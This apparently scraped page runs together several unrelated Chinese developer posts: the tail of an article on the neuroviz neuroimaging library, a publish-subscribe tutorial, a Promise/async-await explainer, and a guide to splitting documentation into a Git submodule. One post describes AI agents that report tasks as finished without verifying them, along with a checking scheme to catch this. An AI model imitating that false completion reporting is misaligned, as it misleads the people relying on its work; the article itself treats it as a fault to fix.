// 一次性清理所有注册在这个 signal 上的监听器
this.abortController.abort();

AbortController 是浏览器原生 API,无需任何 polyfill。调用一次 abort(),所有带该 signal 的监听器全部自动移除,不需要逐个手动 removeEventListener,也不需要保存 handler 引用。

5.3 ResizeObserver

Surface 查看器需要随容器尺寸变化更新渲染器和相机参数。传统方式是监听 window.resize,但这在容器尺寸变化不涉及窗口大小时(如 flex 布局中面板拖拽调整)无效。neuroviz 使用 ResizeObserver 直接观测容器元素:

private bindResize(): void {
  this.resizeObserver = new ResizeObserver(() => {
    const w = this.container.offsetWidth;
    const h = this.container.offsetHeight || 1;
    this.renderer.setSize(w, h);
    this.camera.aspect = w / h;
    this.camera.updateProjectionMatrix();
  });
  this.resizeObserver.observe(this.container);
}

dispose() 时通过 resizeObserver.disconnect() 停止观测,避免泄漏。


六、构建系统

6.1 为什么选 Rollup

neuroviz 选择 Rollup 而非 Webpack、Vite 或 tsup 的核心原因是多入口 IIFE 打包需求

export default [
  // 主入口:ESM + UMD 双格式
  {
    input: 'src/index.ts',
    output: [{ format: 'esm' }, { format: 'umd', name: 'neuroviz' }]
  },
  // 四个 Worker 入口:各自打成 IIFE
  ...['gifti', 'mni-obj', 'freesurfer', 'overlay'].map(name => ({
    input: `src/worker/${name}.worker.ts`,
    output: { file: `dist/${name}.worker.js`, format: 'iife' }
  }))
];

Worker 文件必须打成 IIFE(立即执行函数表达式),因为 new Worker(url) 默认加载经典脚本,不支持 ESM 的 import 语句。Rollup 对多入口、多格式的控制最直接,且 tree-shaking 效果是同类工具中最好的——对于库来说,最小化 bundle 体积是首要目标。

6.2 双 tsconfig 方案

构建时需要两个 tsconfig 文件,解决 vendor 文件与类型声明生成之间的冲突:

tsconfig.json(Rollup 编译时使用)

  • allowJs: true:允许处理 src/vendor/three.r154.js
  • 在 Rollup 的 typescript 插件中传入 { declaration: false, declarationMap: false } 覆盖,禁止 Rollup 生成类型声明(它无法正确生成合并后 bundle 的类型)

tsconfig.types.json(单独生成类型时使用)

  • 继承 tsconfig.json
  • allowJs: false + exclude: ["src/vendor"]:排除 vendor 目录

three.r154.js 没有类型注释,tsc 无法为它生成 .d.ts(报 TS9005 错误),必须在生成类型时排除。

构建脚本分两阶段:

"build": "rollup -c && tsc -p tsconfig.types.json"
  1. rollup -c:编译 TypeScript + 打包(禁用 declaration)
  2. tsc -p tsconfig.types.json:按导出图生成单入口 dist/index.d.ts

6.3 Three.js 的 Vendor 策略

neuroviz 将 Three.js r154 以本地文件形式放入 src/vendor/,而非通过 npm 安装。理由是版本固定:神经影像可视化对 Three.js 的渲染行为有较强依赖,本地 vendor 确保任何环境下行为完全一致,不受用户项目升级 Three.js 的影响。

代价是 bundle 体积较大(Three.js 压缩后约 500KB),以及 @types/three 版本需要手动与 r154 对齐(@types/three@0.157.x 对应 r157,差距不大,关键 API 类型一致)。


七、API 设计哲学

7.1 门面模式与句柄模式

SurfaceViewer 是门面(Facade),对外隐藏了 SceneInteractionMeshBuilder 等内部实现细节;ModelHandle 是句柄(Handle),封装了"对哪个模型操作"的上下文,让多模型管理不需要到处传递 model name。

7.2 渐进式复杂度

API 设计遵循"简单场景简单,复杂场景可行"的原则:

  • 最简单的用法:3 行代码创建 Surface 查看器并加载模型
  • 需要多模型?loads([...]) 批量加载,每个返回独立的 ModelHandle
  • 需要自定义布局?SliceRenderer 可以独立使用,不必绑定 VolumeViewer
  • 需要自定义 Worker 路径?一次 setWorkerBaseUrl() 全局生效

7.3 一致性

Surface 和 Volume 的加载 API 使用相同的 PathOrFile 类型,事件接口使用相同的 on/off/once 方法,资源释放使用相同的 dispose() 方法。用户在两个子系统之间切换时,不需要重新学习新的接口约定。


八、使用示例

Surface Viewer 完整示例

import { SurfaceViewer } from 'neuroviz';

const viewer = new SurfaceViewer(document.getElementById('container'));

// 加载左右脑半球
const [left, right] = await viewer.loads([
  {
    model:    { url: '/lh.pial.gii', name: 'lh' },
    overlay:  { url: '/lh.activation.txt.gz' },
    colorMap: { url: '/hot.txt' },
    range:    { min: -3, max: 3 },
  },
  {
    model:    { url: '/rh.pial.gii', name: 'rh' },
    overlay:  { url: '/rh.activation.txt.gz' },
    colorMap: { url: '/hot.txt' },
    range:    { min: -3, max: 3 },
  },
]);

// 设置视角
viewer.setView('lateral');

// 点击顶点时添加标记并打印坐标
viewer.on('vertexClick', ({ index, point, volCoord }) => {
  left.annotations.add(index, {
    color: 0x00aaff,
    name: `ROI-${index}`,
    data: { activation: left.handle.getPositionByIndex(index) }
  });
  console.log('World coord:', point);
  console.log('Volume coord:', volCoord);  // 需要加载 tkRas
});

// 独立控制左右脑
left.handle.setTransparency(0.6);
right.handle.setVisible(false);

// 导出截图
const png = viewer.canvasDataURL();

// 清理
viewer.dispose();

Volume Viewer 完整示例

import { VolumeViewer } from 'neuroviz';

const viewer = new VolumeViewer(
  document.getElementById('axial')    as HTMLCanvasElement,
  document.getElementById('coronal')  as HTMLCanvasElement,
  document.getElementById('sagittal') as HTMLCanvasElement,
  { highlightColor: '#00ff88', backgroundColor: '#111111' }
);

// 从文件输入加载(本地文件)
const [file] = input.files;
await viewer.load({ file: await file.arrayBuffer() });

// 加载完成后读取元信息
viewer.on('load', (volume) => {
  console.log('Dimensions:', volume.header.xspace.space_length,
    volume.header.yspace.space_length, volume.header.zspace.space_length);
});

// 跟踪当前位置
viewer.on('positionchange', (pos) => {
  const world = viewer.getWorldPosition();
  const val   = viewer.getVoxelValue();
  console.log(`Voxel(${pos.xspace}, ${pos.yspace}, ${pos.zspace})`);
  console.log(`World: ${world.x.toFixed(1)}, ${world.y.toFixed(1)}, ${world.z.toFixed(1)} mm`);
  console.log(`Intensity: ${val}`);
});

// 跳转到特定位置
viewer.setPosition({ xspace: 128, yspace: 128, zspace: 90 });

// 调整显示
viewer.setWindowLevel(500, 800);
viewer.setColormap('viridis');

viewer.dispose();

九、总结

neuroviz 是一个专注于神经影像可视化的浏览器端 JavaScript 库,核心设计理念是:

  1. 职责分离:每个类只做一件事,内部模块高内聚低耦合
  2. 性能优先:Web Worker 异步解析、Transferable 零拷贝传输、顶点空间索引、高频事件对象复用
  3. 资源安全:统一的 dispose() 清理链,AbortController 管理事件监听,防悬空引用守卫
  4. API 一致:Surface 和 Volume 使用相同的文件输入接口、事件接口和生命周期方法
  5. 类型安全:完整的 TypeScript 类型定义,判别联合类型消除运行时错误

对于需要在 Web 应用中嵌入神经影像可视化能力的开发者,neuroviz 提供了一个开箱即用、可深度定制的解决方案。

目前作者的npm账号已经丢失了所以还没有发布到npm上,所以有需要的开发可以先研究代码,着急可以拉下代码本地build进行嵌入,后续账号找回会第一时间发到npm上

JavaScript设计模式(四):发布-订阅模式实现与应用

1、定义

发布-订阅模式描述的是一种解耦的协作方式:发布者(发布消息的人/系统)不需要知道谁会接收消息,订阅者(接收消息的人/系统)也不需要知道消息从哪来,双方通过一个中间层(消息通道/代理)来连接。

它里面包含三个角色:

  • 发布者 publisher:负责“发消息”。
  • 订阅者 subscriber:负责“收消息”。
  • 事件中心 event bus:负责保存订阅关系,并在事件发生时通知所有订阅者。

其核心思路就是:发布者发消息,订阅者收消息,中间通过一个事件中心进行统一管理

2、生活中的例子

发布-订阅模式在生活中也有广泛的应用,比如社交媒体的“关注”机制,手机上的 App 推送通知,群聊中的“@所有人”等。

你关注了几个公众号,只要它们发文章,你就会收到消息:

  • 公众号相当于发布者。
  • 你相当于订阅者。
  • 微信平台相当于中间的消息中心。

3、发布-订阅模式实现

它的核心功能如下:

  • subscribe:订阅事件。
  • publish:发布事件。
  • unsubscribe:取消订阅。
  • events: 事件中心对象,用来保存不同事件对应的回调函数。

具体实现代码如下

class EventBus {
  constructor() {
    this.events = {};
  }

  // 订阅事件
  subscribe(eventName, handler) {
    if (!this.events[eventName]) {
      this.events[eventName] = [];
    }

    this.events[eventName].push(handler);
  }

  // 发布事件
  publish(eventName, data) {
    const handlers = this.events[eventName];

    if (!handlers || handlers.length === 0) {
      return;
    }

    handlers.forEach(handler => {
      handler(data);
    });
  }

  // 取消订阅
  unsubscribe(eventName, handler) {
    const handlers = this.events[eventName];

    if (!handlers) {
      return;
    }

    this.events[eventName] = handlers.filter(item => item !== handler);
  }
}

使用代码如下

const bus = new EventBus();

function handleLogin(data) {
  console.log('更新用户信息:', data);
}

function handleCart(data) {
  console.log('同步购物车数据:', data);
}

// 订阅 login 事件
bus.subscribe('login', handleLogin);
bus.subscribe('login', handleCart);

// 发布 login 事件
bus.publish('login', { username: 'xiaoming' });

/**
 * 输出结果:
 * 
 * 更新用户信息: { username: 'xiaoming' }
 * 同步购物车数据: { username: 'xiaoming' }
 */

也就是说,当 login 事件被发布后,所有订阅了这个事件的函数都会收到通知并执行,如果某个模块不想在监听这个事件了,可以通过 unsubscribe 取消订阅。

bus.unsubscribe('login', handleCart); // 取消订阅 login 事件的 handleCart 回调
bus.publish('login', { username: 'xiaoming' });

/**
 * 输出结果:
 * 
 * 更新用户信息: { username: 'xiaoming' }
 */

为了更加实用,我们可以在 subscribe 方法的返回值中直接返回一个“取消订阅函数”,这样用起来会更方便。

class EventBus {
  // ...
  // 订阅事件
  subscribe(eventName, handler) {
    if (!this.events[eventName]) {
      this.events[eventName] = [];
    }

    this.events[eventName].push(handler);
    // 增加返回回调
    return () => {
      this.unsubscribe(eventName, handler);
    };
  }
  // ...
}

使用方式:

const bus = new EventBus();

const cancel = bus.subscribe('message', data => {
  console.log('收到消息:', data);
});

bus.publish('message', 'Hello');
cancel();
bus.publish('message', 'World');

/**
 * 输出结果:
 * 
 * 第一次输出:收到消息: Hello
 * 第二次不会输出,因为订阅已经被取消了。
 */

当你“注册”了某种副作用,最好顺手拿到一个“撤销它”的能力。这种思想在不同框架和库里非常常见,比如 React 里的 cleanupVue3 中的 stop

// react
useEffect(() => {
  const handler = () => {
    console.log('resize');
  };

  window.addEventListener('resize', handler);

  return () => {
    window.removeEventListener('resize', handler);
  };
}, []);

// vue3
const stop = watch(source, (newValue) => {
  console.log(newValue);
});

stop(); // 取消 watch 监听

4、发布-订阅模式的优缺点

4.1 优点:

  • 解耦性:发布者和订阅者彼此独立,容易维护和扩展。
  • 异步通信:组件通信更灵活,发布者和订阅者不受时间限制,可以在任意时间发布和订阅事件。

4.2 缺点:

  • 难以调试和追踪:事件太多时,系统中存在大量发布者和订阅者,会导致系统复杂度上升,代码变乱,程序难以跟踪维护和理解。
  • 内存泄漏:忘记取消订阅可能造成内存泄漏。

5、发布-订阅模式的应用

发布-订阅模式在下列场景有广泛的应用:

  • 组件之间通信。
  • 全局消息通知。
  • 自定义事件系统。
  • 状态变化通知。
  • 页面埋点、日志上报。

6、和观察者模式的区别

发布-订阅模式和观察者模式很容易混淆。

  • 观察者模式:观察者直接订阅目标对象,关系更直接。
  • 发布-订阅模式:中间多了一个“事件中心”,发布者和订阅者互相不知道对方。

所以发布-订阅模式的解耦更强。

小结

上面介绍了Javascript最经典的设计模式之一发布-订阅模式,发布-订阅描述的是一种解耦的协作方式,发布者发送消息,订阅者接收消息,中间层(事件中心)负责保存订阅关系,并在事件发生时通知所有订阅者。

它让发布者和订阅者之间解藕,可以很方便的实现异步通信,但如果过度使用,也会让系统难以调试和追踪,忘记取消订阅可能造成内存泄漏,在实际项目中可根据需要使用。

往期回顾

AI Agent 说"完成了",但其实没有——任务验收机制的工程实践

📖 本文首发于微信公众号「Wesley AI 日记」,更多 AI Agent 实战系列请微信搜索关注。

AI Agent 说"完成了",但其实没有——任务验收机制的工程实践

你有没有遇到过这种情况:

给 AI Agent 分配了一个任务,它很快回复"任务已完成"。你打开系统一看——什么都没变。

我遇到过太多次了。不是 Agent 在撒谎,而是它真的"以为"自己完成了。

这篇文章,我把这个问题彻底拆开来看,分享我是怎么设计任务验收机制,把 AI Agent "虚报完成"的情况从每天都发生,降到接近零的。


问题的本质:Agent 的"完成"和你的"完成"不是同一回事

先搞清楚为什么 Agent 会说"完成了"但其实没完成。

Agent 的三种"虚报完成"模式

模式一:工具调用失败了,但 Agent 不知道

Agent: 调用 write_file("output.md", content)
工具: [返回 {"success": true}]  ← 但文件其实没写进去
Agent: 文件已写入,任务完成。

这种情况很常见,特别是在文件系统操作、网络请求、数据库写入时。工具返回了 success,但后续校验会发现数据根本不存在。

模式二:完成了一半,把一半当全部

任务: 发布文章到3个平台(知乎、掘金、CSDN)
Agent: 知乎发布成功。任务完成。
        ← 掘金和CSDN根本没动

Agent 完成了任务的第一步,就认为整个任务完成了。这在多步骤任务里极其常见。

模式三:执行了操作,但没有验证结果

Agent: 已向服务器发送请求,任务完成。
实际: HTTP 500,服务器拒绝了请求
Agent: [没有检查响应码,直接报完成]

我的解决方案:三层验收机制

在踩了无数坑之后,我给我的 Agent 团队(跑在 OpenClaw 上的 6 个专职 Agent)设计了一套三层验收体系:

第一层:Tool 调用后强制校验

每个工具调用之后,不能只看返回值,必须做二次读取验证。

错误做法(Agent 的默认行为)

result = write_file("output.md", content)
if result.success:
    return "文件已写入"  # ❌ 只信 success flag

正确做法

result = write_file("output.md", content)
if result.success:
    # 二次验证:重新读取文件
    verification = read_file("output.md")
    if verification.content == content:
        return "文件已写入并验证"
    else:
        return "写入失败:文件内容不符,需重试"

听起来简单,但在 Agent 的 System Prompt 里明确写出这个规则非常重要。

我在 System Prompt 里加的规则

## 任务完成验收规则
每次执行写操作(文件写入、API调用、数据库操作)后,
必须执行对应的读操作来验证结果。
不得仅凭工具返回的 success:true 就报告任务完成。

第二层:任务完成度检查清单

对于多步骤任务,我要求 Agent 在每次回复时附上一个完成度矩阵:

## 任务完成状态
- [x] 步骤1: 内容生成 ✅
- [x] 步骤2: 知乎发布 ✅  
- [ ] 步骤3: 掘金发布 ⏳
- [ ] 步骤4: CSDN发布 ⏳
- [ ] 步骤5: 日志记录 ⏳

当前完成度: 2/5 (40%)

这样做的好处是,Agent 必须在回复里显式列出所有步骤的状态,不能"偷懒"把未完成的事情省略掉。

我在 Agent 的 SOUL.md(角色设定文件)里加了这条规则:

## 任务报告规则
完成任务时必须:
1. 列出所有预期步骤
2. 标注每个步骤的实际状态(✅/⏳/❌)
3. 计算总体完成度
4. 对未完成步骤给出原因和后续计划

禁止:在所有步骤完成前使用"任务完成"的表述

第三层:外部观察者验收

这一层是我后来加的,也是最有效的。

核心思路:任务的完成不能由执行任务的 Agent 自己来判断,需要一个独立的"观察者"来确认。

在 OpenClaw 里,我专门设置了一个 content-reviewer Agent,它的职责就是在其他 Agent 报告完成时,独立去验证结果。

执行流程:
1. cross-platform-publisher → 发布内容 → 报告完成
2. cross-platform-publisher → 通知 content-reviewer → "请验收"
3. content-reviewer → 独立检查 → 确认/否定
4. 只有 content-reviewer 确认后 → 才写入 daily-traffic-log.md

这套机制把"虚报完成"几乎降到了零。因为执行 Agent 知道,自己报完成之后还有一关。


实际踩坑案例:掘金发布的坑

分享一个真实案例。

我的 cross-platform-publisher Agent 有一次汇报:

"掘金文章已发布,标题《AI Agent 团队管理实战》,状态:成功"

我去掘金一看,确实有这篇文章——但状态是草稿,没有点击"发布"按钮。

Agent 调用了"创建文章"的 API,工具返回了 article_id,Agent 就认为发布完成了。

实际上,掘金的流程是:

  1. 创建文章(得到 article_id)
  2. 调用发布 API(传入 article_id,文章才真正公开)

Agent 只做了第一步。

修复方案

在 Agent 的工具调用流程里,明确写出验收标准:

## 掘金发布验收标准
成功标准:文章在掘金可以被未登录用户看到。
验收方法:调用 GET /article/{id} 确认 status=2(已发布),
          而非 status=1(草稿)。

加了这条规则之后,Agent 会自动去检查文章状态,如果是草稿就继续调用发布 API,直到验收通过。


总结:三个工程实践原则

回头看这些踩坑经历,我提炼出三个实践原则:

原则一:写操作后必须读验证 任何对外部系统的写操作(文件、API、数据库),都必须在写之后立即做读取验证。信任 success flag,不如信任自己的眼睛。

原则二:任务完成度必须显式量化 不允许模糊的"任务完成"。必须是"5步中完成了5步,所有步骤均已验证"。这迫使 Agent 不能跳过步骤。

原则三:执行者和验收者分离 执行任务的 Agent 不能自己验收自己的成果。至少要有一个独立的检查机制——哪怕只是在 System Prompt 里加一条"完成后重新检查一遍所有步骤"。

这三条原则,让我的 Agent 团队从经常"虚报完成",到现在几乎不再出现这个问题。


如果你也在用 AI Agent 处理实际业务,强烈建议把这套验收机制加进去。节省的时间,比写这些规则所用的时间多得多。


📖 本文首发于微信公众号「Wesley AI 日记」

📚 AI Agent 实战系列(微信搜索「Wesley AI 日记」关注)

👆 微信搜索「Wesley AI 日记」关注,持续更新 AI Agent 实战系列。

promise 有几种状态 async/await 和promise 有什么关系

  • Promise 是异步编程的底层容器,有三种状态,解决了“回调地狱”但链式调用依然冗长。
  • async/await 是 Promise 的语法糖,让异步代码拥有同步的写法,极大地提高了代码的可读性和维护性,但在处理并行任务时仍需依赖 Promise.all 等方法。

一、 Promise 有几种状态?

这是一个基础但必须回答精准的问题。Promise 对象代表一个异步操作,有三种状态:

  1. Pending(进行中) :初始状态,既没有被兑现,也没有被拒绝。
  2. Fulfilled(已成功) :意味着操作成功完成。
  3. Rejected(已失败) :意味着操作失败。
  • 状态不可逆:状态一旦改变,就不会再变。

    • 只能从 Pending 变为 Fulfilled
    • 或者从 Pending 变为 Rejected
    • 一旦变成 Fulfilled 或 Rejected,状态就凝固了,之后再调用 resolve 或 reject 都不会再有反应。

二、 async/await 和 Promise 有什么关系?

async/await 是 Promise 的语法糖(Syntactic Sugar)。它建立在 Promise 之上,是为了解决 Promise 的“链式调用”造成的代码可读性问题而生的。

具体关系可以从以下三个维度理解:

1. async 函数返回 Promise

async 关键字修饰的函数,无论内部返回什么值,它总是返回一个 Promise 对象

  • 如果返回一个普通值,Promise 状态变为 fulfilled,值为该值。
  • 如果内部抛出异常,Promise 状态变为 rejected
async function test() {
    return 123; // 相当于 return Promise.resolve(123)
}

console.log(test() instanceof Promise); // true
test().then(res => console.log(res)); // 123

2. await 等待 Promise 解决

await 关键字后面通常跟一个 Promise 对象(如果不是,会被转成 resolve 的 Promise)。
它的作用是“暂停”函数执行,直到后面的 Promise 状态变为 fulfilled,然后拿到结果继续执行。如果 Promise 变为 rejected,则会抛出错误。

这就把“异步代码”写成了“同步风格”:

  • Promise 写法(链式调用):
    function getData() {
        axios.get('/api/user')
            .then(res => {
                console.log(res);
                return axios.get('/api/order'); // 链式调用,容易写成回调地狱
            })
            .then(res => {
                console.log(res);
            })
            .catch(err => {
                console.error(err);
            });
    }
  • async/await 写法(同步风格):
    async function getData() {
        try {
            const user = await axios.get('/api/user'); // 看起来像同步代码
            console.log(user);
            const order = await axios.get('/api/order');
            console.log(order);
        } catch (err) {
            console.error(err); // 错误处理也更像同步的 try/catch
        }
    }

3. 错误处理的区别

  • Promise 使用 .catch() 方法捕获错误。
  • async/await 通常配合 try...catch 语句捕获错误。这让异步代码的错误处理逻辑与同步代码保持一致,代码结构更清晰。

注:1. async/await 并不能替代 Promise:await 必须等待 Promise 的结果,没有 Promise 就没有  await;- async/await 的写法容易让人忽略“并行”的场景。 如果两个请求没有依赖关系,用 await 写成顺序执行会浪费时间

开源项目文档架构设计:Git Submodule 实现文档与代码的优雅分离

前言

在开源项目的维护过程中,你是否遇到过这样的困扰:文档更新频繁触发主项目的 CI/CD 流程?文档部署配置与代码构建配置相互干扰?文档版本与代码版本难以同步?

本文将分享一个优雅的解决方案:使用 Git Submodule 将文档独立为单独仓库,实现文档的独立部署和版本管理,同时保持与主项目的关联。

问题背景

当前架构的问题

在 AutoScan 项目的早期,文档直接放在主项目仓库中:

autoscan-spring-boot-starter/
├── docs/
│   └── zh/
│       ├── index.html
│       ├── version.js
│       └── *.md
├── src/
├── pom.xml
└── README.md

这种架构带来了一系列问题:

问题 1:CI/CD 流程干扰

# 主项目的 GitHub Actions
on:
  push:
    paths:
      - 'src/**'
      - 'pom.xml'
      # 文档更新也会触发构建 ❌

每次更新文档都会触发主项目的构建流程,浪费 CI/CD 资源。

问题 2:部署配置冲突

主项目需要:
- Maven 构建
- 单元测试
- 发布到 Maven Central

文档需要:
- GitHub Pages 部署
- 自定义域名
- HTTPS 配置

两种完全不同的部署需求在同一个仓库中配置,容易产生冲突。

问题 3:版本管理困难

主项目版本:v1.1.0
文档版本:v1.1.0
文档更新后:v1.1.0 (文档已更新,但代码未变)

文档和代码耦合在同一仓库,版本对应关系不清晰。

解决方案演进

方案 1:文档在主仓库内(当前方案)

autoscan-spring-boot-starter/
├── docs/
│   └── zh/
├── src/
└── pom.xml

优点

  • ✅ 文档和代码版本同步
  • ✅ 简单直接,无需额外管理

缺点

  • ❌ 文档更新会触发主项目的 CI/CD
  • ❌ 文档和代码耦合
  • ❌ GitHub Pages 部署需要特殊配置

方案 2:文档单独仓库(不使用 Submodule)

autoscan-spring-boot-starter/ (主项目)
├── src/
└── pom.xml

autoscan-docs/ (独立仓库)
├── zh/
└── index.html

优点

  • ✅ 完全独立,最简单
  • ✅ 各自独立部署

缺点

  • ❌ 文档和代码完全分离
  • ❌ 版本同步困难
  • ❌ 无法追溯特定版本的文档

方案 3:文档单独仓库 + Git Submodule(推荐方案)

autoscan-spring-boot-starter/
├── docs/ (submodule -> autoscan-docs)
├── src/
└── pom.xml

autoscan-docs/ (独立仓库)
├── zh/
│   ├── index.html
│   ├── version.js
│   └── *.md
└── README.md

优点

  • ✅ 文档独立部署和更新
  • ✅ 主项目不受文档更新影响
  • ✅ 可以独立配置文档的 CI/CD
  • ✅ GitHub Pages / Cloudflare Pages 可以直接监听文档仓库
  • ✅ 保持文档和代码的关联
  • ✅ 可以追溯特定版本的文档

缺点

  • ⚠️ 需要管理 submodule
  • ⚠️ 操作复杂度略增

推荐方案详解

架构设计

┌─────────────────────────────────────────┐
│     autoscan-spring-boot-starter        │
│         (主项目仓库)                      │
│                                         │
│  ┌─────────────────────────────────┐   │
│  │  docs/ (submodule)              │   │
│  │  └─> 指向 autoscan-docs 仓库     │   │
│  └─────────────────────────────────┘   │
│                                         │
│  src/                                   │
│  pom.xml                                │
│  README.md                              │
└─────────────────────────────────────────┘
                    │
                    │ submodule 引用
                    ▼
┌─────────────────────────────────────────┐
│          autoscan-docs                  │
│         (文档仓库)                        │
│                                         │
│  zh/                                    │
│  ├── index.html                         │
│  ├── version.js                         │
│  └── *.md                               │
│                                         │
│  .github/workflows/                     │
│  ├── update-doc-version.yml             │
│  └── deploy.yml                         │
└─────────────────────────────────────────┘

核心优势

1. 独立部署

文档仓库可以独立部署到 GitHub Pages 或 Cloudflare Pages:

# autoscan-docs/.github/workflows/deploy.yml
name: Deploy to GitHub Pages

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      
      - name: Deploy to GitHub Pages
        uses: peaceiris/actions-gh-pages@v3
        with:
          github_token: ${{ secrets.GITHUB_TOKEN }}
          publish_dir: ./

2. CI/CD 独立

文档更新不会触发主项目的构建:

# 主项目的 GitHub Actions
on:
  push:
    paths:
      - 'src/**'
      - 'pom.xml'
      # 不包含 docs/ 目录

3. 版本关联

通过 submodule 保持文档和代码的版本对应:

# 主项目 v1.1.0 引用文档仓库的某个 commit
git submodule add https://github.com/itrys/autoscan-docs.git docs

# 发布 v1.2.0 时,更新 submodule 引用
git submodule update --remote

具体实施步骤

步骤 1:创建文档仓库

# 创建新的文档仓库
mkdir autoscan-docs
cd autoscan-docs
git init

# 创建目录结构
mkdir -p zh/js

# 创建文件
touch zh/index.html
touch zh/version.js
touch zh/_sidebar.md
touch zh/_coverpage.md

# 提交
git add .
git commit -m "init: 初始化文档仓库"

# 推送到远程
git remote add origin https://github.com/itrys/autoscan-docs.git
git push -u origin main

步骤 2:迁移文档内容

# 从主项目复制文档文件
cp -r ../autoscan-spring-boot-starter/docs/zh/* zh/

# 提交
git add .
git commit -m "docs: 迁移文档内容"
git push

步骤 3:在主项目中添加 Submodule

# 进入主项目目录
cd ../autoscan-spring-boot-starter

# 删除原来的 docs 目录
rm -rf docs

# 添加 submodule
git submodule add https://github.com/itrys/autoscan-docs.git docs

# 提交
git add .
git commit -m "chore: 使用 submodule 引用文档仓库"
git push

步骤 4:配置文档仓库的 GitHub Actions

创建 .github/workflows/update-doc-version.yml

name: Update Doc Version

on:
  push:
    paths:
      - 'zh/*.md'
    branches:
      - main

jobs:
  update-version:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          fetch-depth: 2
      
      - name: Update timestamp
        run: |
          TIMESTAMP=$(date +%Y%m%d%H%M)
          sed -i "s/window.DOC_TIMESTAMP = '.*'/window.DOC_TIMESTAMP = '$TIMESTAMP'/" zh/version.js
          echo "Updated timestamp to: $TIMESTAMP"
      
      - name: Commit changes
        run: |
          git config --local user.email "github-actions[bot]@users.noreply.github.com"
          git config --local user.name "github-actions[bot]"
          git add zh/version.js
          git commit -m "chore: auto-update doc timestamp [skip ci]" || echo "No changes to commit"
          git push

创建 .github/workflows/deploy.yml

name: Deploy to GitHub Pages

on:
  push:
    branches:
      - main
  workflow_dispatch:

permissions:
  contents: read
  pages: write
  id-token: write

concurrency:
  group: "pages"
  cancel-in-progress: false

jobs:
  deploy:
    environment:
      name: github-pages
      url: ${{ steps.deployment.outputs.page_url }}
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
      
      - name: Setup Pages
        uses: actions/configure-pages@v4
      
      - name: Upload artifact
        uses: actions/upload-pages-artifact@v3
        with:
          path: '.'
      
      - name: Deploy to GitHub Pages
        id: deployment
        uses: actions/deploy-pages@v4

步骤 5:更新主项目的 README

在主项目的 README.md 中添加文档链接:

## 📚 文档

- [在线文档](https://itrys.github.io/autoscan-docs/)
- [快速开始](https://itrys.github.io/autoscan-docs/#/quickstart)
- [功能特性](https://itrys.github.io/autoscan-docs/#/features)

文档源码:[autoscan-docs](https://github.com/itrys/autoscan-docs)

Git Submodule 常用操作

克隆包含 submodule 的项目

# 方法1:递归克隆(推荐)
git clone --recursive https://github.com/itrys/autoscan-spring-boot-starter.git

# 方法2:先克隆再初始化
git clone https://github.com/itrys/autoscan-spring-boot-starter.git
cd autoscan-spring-boot-starter
git submodule init
git submodule update

# 方法3:在已克隆的项目中初始化 submodule
git submodule update --init --recursive

更新 submodule

# 更新 submodule 到最新版本
git submodule update --remote

# 更新特定 submodule
git submodule update --remote docs

# 在 submodule 目录中操作
cd docs
git pull origin main
cd ..
git add docs
git commit -m "docs: 更新文档"

查看 submodule 状态

# 查看 submodule 状态
git submodule status

# 查看 submodule 详细信息
git submodule

# 查看 submodule 的远程仓库
cd docs
git remote -v

删除 submodule

# 删除 submodule
git submodule deinit docs
git rm docs
rm -rf .git/modules/docs
git commit -m "chore: 移除文档 submodule"

版本同步策略

发布新版本时的流程

# 1. 更新主项目代码
vim src/main/java/...

# 2. 更新文档
cd docs
# 修改文档内容
vim zh/quickstart.md

# 更新版本号
vim zh/version.js
# 修改:window.DOC_VERSION = '1.2.0';

git add .
git commit -m "docs: 更新 v1.2.0 文档"
git push

# 3. 回到主项目,更新 submodule 引用
cd ..
git add docs
git commit -m "release: v1.2.0"
git push

版本对应关系

主项目 Commit    →  文档仓库 Commit
v1.1.0 (abc123)  →  docs v1.1.0 (def456)
v1.2.0 (ghi789)  →  docs v1.2.0 (jkl012)

通过 submodule,可以精确追溯每个版本对应的文档内容。

最佳实践

1. 使用 Tag 标记版本

在文档仓库中打标签:

# 在文档仓库
cd autoscan-docs
git tag -a v1.1.0 -m "文档 v1.1.0"
git push origin v1.1.0

# 在主项目中引用特定标签
cd autoscan-spring-boot-starter
cd docs
git checkout v1.1.0
cd ..
git add docs
git commit -m "docs: 引用文档 v1.1.0"

2. 使用分支管理版本

# 为文档创建版本分支
cd autoscan-docs
git checkout -b v1.1.x
git push origin v1.1.x

# 主项目引用分支
cd autoscan-spring-boot-starter
git config -f .gitmodules submodule.docs.branch v1.1.x
git submodule update --remote

3. 自动化版本同步

创建 GitHub Actions 自动更新 submodule 引用:

# 主项目的 .github/workflows/update-docs.yml
name: Update Docs Submodule

on:
  repository_dispatch:
    types: [docs-updated]

jobs:
  update-submodule:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v4
        with:
          submodules: true
      
      - name: Update submodule
        run: |
          git submodule update --remote
      
      - name: Commit changes
        run: |
          git config --local user.email "github-actions[bot]@users.noreply.github.com"
          git config --local user.name "github-actions[bot]"
          git add docs
          git commit -m "docs: 更新文档引用" || echo "No changes"
          git push

4. 文档仓库的 README

在文档仓库中添加 README,说明文档与主项目的关系:

# AutoScan 文档

本仓库是 [AutoScan Spring Boot Starter](https://github.com/itrys/autoscan-spring-boot-starter) 的文档仓库。

## 文档版本

| 版本 | 主项目版本 | 更新内容 |
|------|-----------|----------|
| v1.1.0 | v1.1.0 | 新增通配符、排除扫描、自定义注解功能 |
| v1.0.0 | v1.0.0 | 初始版本 |

## 本地预览

```bash
# 克隆仓库
git clone https://github.com/itrys/autoscan-docs.git
cd autoscan-docs

# 启动本地服务器
python -m http.server 8000
# 或使用 docsify-server
npm install -g docsify-cli
docsify serve

贡献指南

请参考 主项目贡献指南


## 常见问题

### Q1: Submodule 更新后,团队成员如何同步?

```bash
# 团队成员拉取最新代码时
git pull
git submodule update --init --recursive

# 或者使用一条命令
git pull --recurse-submodules

Q2: 如何避免 Submodule 的常见错误?

# 配置 Git 自动更新 submodule
git config --global submodule.recurse true

# 配置 Git 在状态检查时包含 submodule
git config --global status.submoduleSummary true

Q3: 如何在 CI/CD 中正确处理 Submodule?

# GitHub Actions
- name: Checkout
  uses: actions/checkout@v4
  with:
    submodules: true  # 自动初始化和更新 submodule

方案对比总结

方案 独立部署 版本关联 CI/CD 独立 维护成本 推荐度
文档在主仓库 ⭐⭐
